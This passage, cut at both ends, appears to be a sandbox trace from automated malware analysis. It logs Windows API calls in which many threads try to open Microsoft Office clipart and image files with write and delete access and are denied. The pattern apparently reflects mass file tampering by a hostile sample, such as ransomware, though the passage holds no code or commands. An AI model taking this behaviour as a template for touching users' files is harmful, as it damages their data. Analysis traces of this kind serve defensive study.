BaseAddress=0x12c50c10) returned 1 Thread: id = 9477 os_tid = 0x1c24 [0203.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) [0209.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF", dwFileAttributes=0x20) returned 0 [0209.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.705] GetLastError () returned 0x5 [0209.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF", dwFileAttributes=0x20) returned 0 [0209.705] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c511e8) returned 1 Thread: id = 9478 os_tid = 0xad4 [0203.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) [0209.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF", dwFileAttributes=0x20) returned 0 [0209.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.729] GetLastError () returned 0x5 [0209.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF", dwFileAttributes=0x20) returned 0 [0209.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51380) returned 1 Thread: id = 9479 os_tid = 0x1d90 [0203.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) [0209.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF", dwFileAttributes=0x20) returned 0 [0209.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.728] GetLastError () returned 0x5 [0209.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF", dwFileAttributes=0x20) returned 0 [0209.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c501f8) returned 1 Thread: id = 9480 os_tid = 0xae4 [0203.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) [0209.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF", dwFileAttributes=0x20) returned 0 [0209.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.726] GetLastError () returned 0x5 [0209.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF", dwFileAttributes=0x20) returned 0 [0209.727] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c512f8) returned 1 Thread: id = 9481 os_tid = 0x1d94 [0203.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) [0209.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF", dwFileAttributes=0x20) returned 0 [0209.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.725] GetLastError () returned 0x5 [0209.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF", dwFileAttributes=0x20) returned 0 [0209.725] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50da8) returned 1 Thread: id = 9482 os_tid = 0x1d98 [0203.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) [0209.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF", dwFileAttributes=0x20) returned 0 [0209.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.723] GetLastError () returned 0x5 [0209.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF", dwFileAttributes=0x20) returned 0 [0209.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51a68) returned 1 Thread: id = 9483 os_tid = 0xb0c [0203.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) [0209.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF", dwFileAttributes=0x20) returned 0 [0209.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.722] GetLastError () returned 0x5 [0209.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF", dwFileAttributes=0x20) returned 0 [0209.722] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51738) returned 1 Thread: id = 9484 os_tid = 0x1d9c [0203.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) [0209.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF", dwFileAttributes=0x20) returned 0 [0209.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.721] GetLastError () returned 0x5 [0209.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF", dwFileAttributes=0x20) returned 0 [0209.721] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51490) returned 1 Thread: id = 9485 os_tid = 0xb14 [0203.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) [0209.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF", dwFileAttributes=0x20) returned 0 [0209.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.719] GetLastError () returned 0x5 [0209.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF", dwFileAttributes=0x20) returned 0 [0209.720] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50d20) returned 1 Thread: id = 9486 os_tid = 0xb18 [0203.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) [0209.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG", dwFileAttributes=0x20) returned 0 [0209.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.718] GetLastError () returned 0x5 [0209.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG", dwFileAttributes=0x20) returned 0 [0209.718] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c504a0) returned 1 Thread: id = 9487 os_tid = 0xb1c [0203.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) [0209.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG", dwFileAttributes=0x20) returned 0 [0209.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.717] GetLastError () returned 0x5 [0209.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG", dwFileAttributes=0x20) returned 0 [0209.717] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50390) returned 1 Thread: id = 9488 os_tid = 0xb20 [0203.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) [0209.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG", dwFileAttributes=0x20) returned 0 [0209.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.715] GetLastError () returned 0x5 [0209.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG", dwFileAttributes=0x20) returned 0 [0209.716] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50858) returned 1 Thread: id = 9489 os_tid = 0xb24 [0203.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) [0209.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG", dwFileAttributes=0x20) returned 0 [0209.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.714] GetLastError () returned 0x5 [0209.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG", dwFileAttributes=0x20) returned 0 [0209.714] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50280) returned 1 Thread: id = 9490 os_tid = 0x1da0 [0203.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) [0209.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG", dwFileAttributes=0x20) returned 0 [0209.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.712] GetLastError () returned 0x5 [0209.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG", dwFileAttributes=0x20) returned 0 [0209.712] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51518) returned 1 Thread: id = 9491 os_tid = 0x1da4 [0203.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) [0209.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG", dwFileAttributes=0x20) returned 0 [0209.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.710] GetLastError () returned 0x5 [0209.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG", dwFileAttributes=0x20) returned 0 [0209.710] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51e20) returned 1 Thread: id = 9492 os_tid = 0x644 [0203.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) [0209.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG", dwFileAttributes=0x20) returned 0 [0209.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.709] GetLastError () returned 0x5 [0209.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG", dwFileAttributes=0x20) returned 0 [0209.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50418) returned 1 Thread: id = 9496 os_tid = 0x15fc [0203.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif")) returned 0x20 [0204.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", dwFileAttributes=0x20) returned 0 [0204.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.493] GetLastError () returned 0x5 [0204.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", dwFileAttributes=0x20) returned 0 [0204.493] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76ae0) returned 1 Thread: id = 9497 os_tid = 0x1604 [0203.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif")) returned 0x20 [0204.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", dwFileAttributes=0x20) returned 0 [0204.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.491] GetLastError () returned 0x5 [0204.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", dwFileAttributes=0x20) returned 0 [0204.492] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76918) returned 1 Thread: id = 9498 os_tid = 0x1608 [0203.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif")) returned 0x20 [0204.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", dwFileAttributes=0x20) returned 0 [0204.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.490] GetLastError () returned 0x5 [0204.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", dwFileAttributes=0x20) returned 0 [0204.490] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77298) returned 1 Thread: id = 9499 os_tid = 0x160c [0203.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif")) returned 0x20 [0204.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", dwFileAttributes=0x20) returned 0 [0204.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.504] GetLastError () returned 0x5 [0204.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", dwFileAttributes=0x20) returned 0 [0204.504] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c770d0) returned 1 Thread: id = 9500 os_tid = 0x1610 [0203.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif")) returned 0x20 [0204.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", dwFileAttributes=0x20) returned 0 [0204.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.503] GetLastError () returned 0x5 [0204.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", dwFileAttributes=0x20) returned 0 [0204.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75a40) returned 1 Thread: id = 9501 os_tid = 0x1614 [0203.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif")) returned 0x20 [0204.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", dwFileAttributes=0x20) returned 0 [0204.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.501] GetLastError () returned 0x5 [0204.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", dwFileAttributes=0x20) returned 0 [0204.501] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77330) returned 1 Thread: id = 9502 os_tid = 0x1618 [0203.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif")) returned 0x20 [0204.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", dwFileAttributes=0x20) returned 0 [0204.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.500] GetLastError () returned 0x5 [0204.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", dwFileAttributes=0x20) returned 0 [0204.500] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77460) returned 1 Thread: id = 9503 os_tid = 0x1630 [0203.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif")) returned 0x20 [0204.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", dwFileAttributes=0x20) returned 0 [0204.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.498] GetLastError () returned 0x5 [0204.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", dwFileAttributes=0x20) returned 0 [0204.499] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75878) returned 1 Thread: id = 9504 os_tid = 0x1638 [0203.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif")) returned 0x20 [0204.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", dwFileAttributes=0x20) returned 0 [0204.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.497] GetLastError () returned 0x5 [0204.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", dwFileAttributes=0x20) returned 0 [0204.497] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77038) returned 1 Thread: id = 9505 os_tid = 0x163c [0203.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif")) returned 0x20 [0204.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 